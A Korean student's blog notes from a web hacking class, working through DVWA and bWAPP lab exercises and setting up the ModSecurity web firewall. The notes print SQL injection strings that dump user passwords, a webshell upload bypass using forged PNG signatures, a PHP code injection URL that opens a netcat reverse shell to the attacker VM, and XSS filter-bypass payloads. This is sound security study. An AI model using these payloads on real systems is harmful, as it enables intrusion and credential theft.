공부/Application Security

9월14일 웹해킹 7

마준123 2022. 9. 14. 09:34

 * Today 일정

 - DVWA 실습 마무리

 - 웹방화벽 설치

 - Beebox 실습

 

 * Blind SQL Injection

 - DB에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB명, Table명, Column명 등을 알아내는 방법

 - 에러가 힌트가 되기 때문에 오류를 일으키거나, 한글자씩 확인하는 방식 ---->자동화된 도구 사용 (SQL Lmap)

 

 * Command Execution

 - 검색창에 공격자는 검색을 하지 않는다, 리눅스 명령어를 실행하려고 함 ( Beebox에서 php코드 인젝션 )

 

 

실습준비 ) 

 - VMware를 켜고 우분투~

 

 * SQL injection 복습!!

 - 목적 : 모든 사용자의 ID와 PW를 알아내는 것 ( 이미 구조를 다 알지만 모른다고 가정하자, 연습이기 때문! )

 - SQLmap 사용 금지

 참고 : https://manivers.tistory.com/55?category=1303266 (9월8일 웹해킹 5 UNION 실습한날)

 

3 ' UNION SELECT 1 #

 

3 ' UNION SELECT 1,2,3 #

 

3 ' UNION SELECT 1,2,3,4 #

 

3 ' UNION SELECT 1,2 #  // 처음부터 1,2를 했으면 되는데 뭔가 3개 정도는 쓸거같아서 바로 3했다가 4해보고 이상하다 싶어서 다시 2로 돌아온 모습

 

3 ' UNION SELECT database(),2 #

 

3 ' UNION SELECT table_name,2 FROM information_schema.tables#

 

3' UNION SELECT TABLE_NAME,2 FROM information_schema.tables WHERE table_schema='dvwa'#

까지 하면 

이렇게 나온다 ( 사실 앞에까지 많은 과정이 있었지만 시간이 충분치 않아서 사진은 생략.... )

 

 

컬럼 명을 알아내기 위한 구문

3' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'# 

아마 user_id에 아이디가 있을거같고 password에 비밀번호가 있을것 같다.

 

3' UNION SELECT user_id,password FROM users #

3' UNION SELECT  user_ id, password FROM users #

근데 이름이 유저_id 라 그런지 좀 이상하다 그냥 user인듯

 

3' UNION SELECT user,password FROM users #

미션 석섹스

PW는 hashs.com에 물어보면 되지만 귀찮아서 pass(word)

 

------------------------------------------------------------------------------------------------------------------------------------

 

 * File Upload 복습!

 참고 : https://manivers.tistory.com/54?category=1303266 ( 9월7일 웹해킹 4 파일업로드 실습 )

난 찐따니까 일단 뷰소스 먼저 확인..

 

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( 
$uploaded_size 100000 ) ) {

대충 보니 사이즈 제한이 있고 확장자 제한이 있다.

 

내 기억에 이거 프록시로 플었음

 

프록시 다녀옵니다~

 

일단 성공~

 

방법은 프록시로 아무 사진,텍스트 등을 보내고 ( 텍스트 추천, 사진은 내용이 너무많아서 편집이 귀찮....)

그리고 제목을 php로 바꿔주고( 웹쉘과 같은 확장자 ) 내용도 웹쉘을 텍스트로 열어서 복사해서 붙여 넣어준다.

그리고 포워드~ 하면 성공~

 

이라고 생각했는데 확장자가 맞지 않는다고한다

 

프록시에 잘보면 확장가 나오는데 jpge로 속여서 보내면된다.

뭐라 써야할지 몰라서 사진 하나 보내고 양식을 복사해서 붙여넣었다~

 

 * High로 가보자

 

난 찐따니까 또 뷰소스 부터 확인~

 - strtolower : string을 모두 소문자로 변환하는 함수 ---> 대소문자 조작 불가

 - 확장자 검증 : jpg 또는 jpeg,png만 가능

 - AND 조건으로 100kbyes 이하만 가능

 

와 어렵다 이건

High Level

Once the file has been received from the client, the server will try to resize any image that was included in the request.

Spoiler: need to link in another vulnerability, such as file inclusion.

 심지어 힌트를 봐도 뭔지 모르겠다

 

해설 ) 

 * File Signature

 - 파일의 정체성을 나타내는 부분

 - 파일의 맨 앞부분에 특정한 표시를 함 ---->운영체제, Application에서 읽어들여서 파일이 어떤 파일인가 확인

 

 -  갑자기 헥스 에디터를 다운받고 사진을 받아서 열었다

드래그한 부분이 PNG의 시그니처라고 한다.

 

 

 

JPG도 열어보자

JPG는 FF D8 FF E0로 시작한다

 

 

EXE파일은 MZ세대~

 

설명들!

 

실습 ) 

일단 웹쉘의 확장자를 png 로 바꿔준다

 

그리고 헥스 에디터로 열어서 앞에다 png 의 시그니처를 붙여 넣어준다! ( 삽입으로 붙여넣기!)

 

저장하고 업로드!

 

하면 성공~!

 

이 아니라

실패 

 

조금 더 많이 복사해야 한다고 하신다

 

이번엔 헥스를 89 50 4E 47 0D 0A 1A 0A   이렇게 넣어보자

 

 

다시 넣어보고~

 

 

프록시도 필요없다 바로 올리면 성공~

 

--------------------------------------------------------------------------------------------------------------------------------------------

 

그리고 경로를 따라가보면??

놀랍지 않게도 확장자가 맞지 않기때문에 제대로 실행되지 않는다

 

설명) 리눅스 명령어 mv 명령어를 이용해서 바꿔 주어야 함!

  어제 했던 Command Injection 에서 mv명령어를 사용하면 될 것 같다.( 로우레벨에서 해도 된다고함! )

 

; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php

 

을 입력하면 된다!

석섹스

 

처음엔 경로를 어케 해야할지 잘 몰라서

 

; mv b374k-2.8.png b374k-2.8.php

; mv ../../hackable/uploads/b374k-2.8.png b374k-2.8.php

 

뭐 이런식으로 해맸는데 정답은 

 

; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php 였다

(리눅스 공부 다시 해야할듯; 리눅스 A+인데 2016년에 배워서 다 까먹었다!)

 

 

사례~

 

 

 *  웹 방화벽

꼬불꼬뿔 꼬불꼬불 맛좋은 밑줄~
타란~ 우리가 실습해볼 웹 방화벽~ 대충 뮤료라는 뜻

업데이트가 완료되면 왼쪽에 있는걸 한줄씩 쓰면된다! ( 중간에 붉은건 강사님이 이미 깔아놔서 안해도됨, 다른 환경에선 해야할듯 )

 

 

중간에 변경할 내용 하는법 ( 잘 했는지 모르겠다 )

 

다 했으면

리스타트 뭐시기 입력

할게많다

Modsecurity Rules 다운로드 • 패턴매칭 방식이기 때문에 Signature(Rules)를 다운로드 해야 한다. cd ~ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz sudo tar xvf v3.3.0.tar.gz sudo mkdir /etc/apache2/modsecurity-crs/ sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/ sudo mv crs-setup.conf.example crs-setup.conf // example 제거

 

혹시모를 나중에 복붙을 위한 장치

 

 

현재 여기까지 완료~

 

---------------------------------------------------------------------------------------------------------------------------------------

 

참으로 복잡하다...
그렇다고 합니다
Syntax Ok가 나온모습

DVWA에서 테스트 용으로 여태까지 잘 하던 SQL 인젝션에서 갑자기 403 Forbidden 이 떳다!

방화벽에게 막힌것!

굿~ 성공 ~

 

(잘 안되는 사람들이 많았던거 같은데 나는 이런 면에서 문제 생긴적은 없어서 다행이다....)

 

커맨드 인젝션에서 pwd나 w 등 몇개의 명령어는 입력이 가능했다! ( 나머지 의미있는 명령어는 거~의 안됨 )

 

--------------------------------------------------------------------------------------------------------------------------------------------------

 

실습 ) 

 * 오랜만에 다시 돌아온 BeeBox~~~

 

 * A1 : PHP Code Injection

 

주소 표시줄에 입력한 값을 반환하는 시스템

 

1단계 ) 리눅스 명령어를 실행시키려면?

                  ( 구글에서 검색해 보아야 함 : php 명령어를 실행하는 함수 )

 

  - 내가 구글링해서 찾은건 system()함수였다 ( https://blog.hoto.dev/41 )

pwd를 실행 한 모습

 

그 외에 사용 가능한 함수들 모읍집

 

2단계 ) Kali 를 켜고 netcat을 이용해서 연결해보기

칼리(공격자 역할) 터미널에서 아래껄 입력해준다

 

나는 아래 사진처럼 넌센스로 888로 열어보았다 ㅋ

 

그리고 피해자역할의 beebox 가서 아래 주소를 입력해준다

http://192.168.5.130/bWAPP/phpi.php?message=system("nc 192.168.5.129 8888 -e /bin/sh")

붉은 부분의 리눅스 명령어를 보내는 것

(나는 888로 했다)

 

아래 사진처럼 연결이 성공 된 모습

ls 명령어와 pwd 명령어를 실행 한 모습

 

참고 ) 

 - 대부분의 리눅스에는 netcat이 있음...

 - Android에도 들어있음 ( -e 옵션을 사용할 수 없음 )

 

이번엔 반대로 해보자 ( 공격자 / 피해자 역할은 같지만 누가 대기하냐만 바꿀뿐 )

 

정보가 털리기 위해 무한 대기중으로 들어간 bWAPP ( 칼리에서 연결을 끊으면 대기중이 풀린다 )

 

 

연결하고 ls 명령어를 입력 한 모습 성공~

 

----------------------------------------------------------------------------------------------------------------------------------------------------------

 

실습 ) A! : SQL Injection (GET/Select)

 - serach 와는 달리 select 는 입력 창이 없다

 -  어떻게 하면 ID와 PW를 알 수 있을까요?

 

일단 아무것도 입력할 수 있는게 없어 보이므로 주소표시줄을 공략 해야할 것 같다.

빈수레가 요란하다고 아는척 오지게 해버리기

 

일단 해설

 

123 union select 1,login,password,4,5,6,7 from users  // 그런데 따옴표와 #은 왜 안넣어도 되는지 모르겠다

조금은 찜찜한 성공~ 

 

 

 

실습 ) A3 : XSS - Reflected (GET)

 

 1 ) Low

low는 그냥 

<script>alert('마준 천재')</script>

이런식으로 스크립트 넣으면 바로 된다.

 

 2 ) Medium

당연히 이전과 같은 방법으로는 안되고 아무 반응이 없다

 

이런걸 한번 해보자

<sc<script>ript>alert('마준 천재')</sc</script>ript>

 

애매 하다.. 알것 같으면서도 모를거같은 저 느낌

하도 못풀어서 강사님이 힌트를 주시려는듯

 

터미널 들어가서 구조를 보려는중

구조 보는법 // :q는 나가는법
중간만 잘라온 모습

medium 은 xss_check_4를 사용하고 있음!

 

xss_check_4 가 뭔지 보러가자

 

보고옴

 

그럼 addslaches() 함수가 뭔지 알아내보자 

참고 ) addslaches() 함수는 ' , " , \ , NUL 앞에 \를 붙여서 Escape 처리를 하고있음 ( 출처 : php.net )

          ( Escape 처리란, 특수문자가 기능을 하지 못하도록 하는 것 )

 

그럼 아까 쓴 문장에서 저기에 포함되는게 뭐가있나?

<script>alert('마준 천재')</script>

보니까 마준 천재를 감싸고있는 ' 가 있는것 같다.

 

그럼 문자 말고 숫자로 한번 입력해보자

<script>alert(01095931234)</script>

어... 뭔가 조금 다르긴 하지만 일단 성공은 했다.

 

그 외 다른것

 

그럼 Shielders 를 출력하려면?

저번 시간에 배웠던 이걸 활용 하면 될 것 같다. ( 10진수를 넣으면 ASCII 로 변환 해주는 함수)

 

아스키를 10진수로 변환해주는 사이트 : https://ko.rakko.tools/tools/78/

 

<script>alert(String.fromCharCode(115,104,105,101,108,100,101,114,115))</script>

 

성공~~

 

------------------------------------------------------------------------------------------

 

상담하느라 초반 강의를 듣지 못했다

하지만 SKCT 합격했기때문에 너무 신난다~

지금 실습은 Too late 했기때문에 건너뛰고 다음 실습부터 진행해야지~ ( 복습 영상으로 확인 할 에정 )

 

근데 실습이 좀 기네....

 

이게 마지막 실습이었다....

 

 

 

 

'공부 > Application Security' 카테고리의 다른 글

9월13일 웹해킹 6  (2) 2022.09.13
9월 8일 웹해킹 5  (0) 2022.09.08
9월7일 웹해킹 4  (0) 2022.09.07
9월6일 웹해킹 3  (0) 2022.09.06
9월 5일 웹해킹 2  (0) 2022.09.05